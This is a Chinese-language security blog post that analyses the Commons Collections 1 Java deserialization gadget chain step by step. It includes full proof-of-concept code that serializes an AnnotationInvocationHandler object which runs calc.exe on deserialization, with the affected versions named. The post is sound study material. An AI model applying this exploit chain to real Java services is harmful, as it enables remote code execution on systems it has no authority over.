[JavaWeb]反序列化分析(二)--CommonCollections1

发布于 1970年 01月 01日 08:00

反序列化分析(二)--CommonCollections1

链子分析

  • 首先新建一个TransformedMap,其中二三参数为可控,后续要用到
  • 当TransformedMap执行put方法时,会分别执行transformKey和transformValue方法
  • 可以看到,两个方法中,都有transform方法,但参数不可控
  • 找能触发InvokerTransform的transform方法,而且是无需借用外部传参的那种

分析cc链的时候,最大的体会就是分析可以,但不明白为什么可以想到这么绝的方法?火候不够.

  • 可是要执行invokeTransform,那就又少不了外部传参加以控制..

先不管这个ChainedTransformer怎么想到的,就假设已经知道了这个可以把前一个结果当作后一个函数的参数就好了

  • 那就说明,还要找一个transform实现类,能够返回Runtime
  • 这个类可以返回一个对象,而imap为可控,所以只要知道了input的值,例如为trick,那么iMap['trick']就可以返回一个Runtime,从而可以完成既定目标(但这个还是要借助外部参数,但可行性较高,毕竟一般不会传Runtime作为键值对,但会传一个字符串,感觉又有点像php链子的找法了)
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

        //创建一个含有Runtime的map
        HashMap<String, Runtime> stringRuntimeHashMap = new HashMap<>();
        stringRuntimeHashMap.put("Aur0ra", Runtime.getRuntime());
        MapTransformer mapTransformer = (MapTransformer) MapTransformer.getInstance(stringRuntimeHashMap);

        //传进去作为第一个transformer类
        Transformer[] transformers = {
                mapTransformer,
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

        outerMap.put("name","Aur0ra");

    }

其中部分的数据需要同步

因为最后相当于是从那个map中获取指定键的值,所以map构造,以及put的时候,需要注意同步性

  • 可以看到上面的确实可以利用,但前提是知道put的内容,还是有缺陷.所以看下下面官方给的链

  • 这个是完全无需借助不可控变量的

  • 返回的是类中的某个元素,所以是可控的,且与传进来的参数无关

public static void main(String[] args) {


        Transformer[] transformers = {
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);


        outerMap.put("name","Aur0ra"); //任意值,只要有put动作即可

    }

  • 至此,从TransformerMap->chainedTransformer->ConstantTransformer&InvokerTransformer这条链已经分析清楚了.

一遍下来,有些地方和php链还是相似的,只是说有些trick的跳度稍大,没有开发基础的,比较难以理解(比如我).

完善成可利用的POC

上面只是一个样例POC是手动触发的,现实中还需要一个会自动触发的点,对该Map进行写的操作.所以要先找一个类其中包含可控map,且存在自动触发的反序列化点.

在找AnnotationInvocationHandler的时候,用import导入一直显示没有,但都下了几个jdk,都没有都快放弃了,结果突然发现,标识它不是public类,所以无法被import导入,,,,直接整🤮

  • 序列化构造时可能遇到的问题
  1. AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)的认知
  2. Runtime类没有实现序列化接口,无法完成序列化。
  • 解决方案
  1. 该<? extends Annotation>代表需要是继承的子类,所以传的时候需要是子类对象的class
  2. 利用反射,借用InvokerTransformer,让Runtime在反序列化后形成。或者借用其他代码执行的类
  3. common-collections 3.2.2后加入了安全机制,这里我直接改成了3.1的cc

最终

利用条件

sun.reflect.annotation.AnnotationInvocationHandler的第一个参数不仅要是Annotation的子类,而且还要和后面的Map都拥有一个同名函数
java 8u71前版本,后面的版本中有修改,需要更换利用

 public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        /**
         * 1.让Runtime在序列化后产生
         * 2。采用其他方式进行命令执行
         */

        /**
             Method method = Runtime.class.getMethod("getRuntime");
             Runtime r = (Runtime) method.invoke(null);
             r.exec("calc.exe");
         */



        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),     //返回一个Runtime
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
        };


        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        hashMap.put("value", "xxxx");

        Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);


        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);

        /**
         *  AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)
         *  这里第一个参数需要是Annotation的子类
         */

        Object o = constructor.newInstance(Retention.class, outerMap);

        ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("1.txt"));
        ous.writeObject(o);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(o);
        objectOutputStream.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();


    }

总结

hashMap与transformer之间的渊源:一般添加新的值时,为了有一定的规则,这个时候需要用到转换(Transform)相关的东西进行转换。这就是为什么hashMap总是和transform之类的能联想到一起

  1. invokeTransform -- 能够执行命令
  2. ConstantTransform -- 不需要依赖参数,可以返回一个可控的内部属性
  3. chainedTransformer -- 能够将前面产生的结果作为后面的参数,和FilterChain相似

__EOF__

  • 本文作者: Aur0ra
  • 本文链接: https://www.cnblogs.com/Aurora-M/p/15823871.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。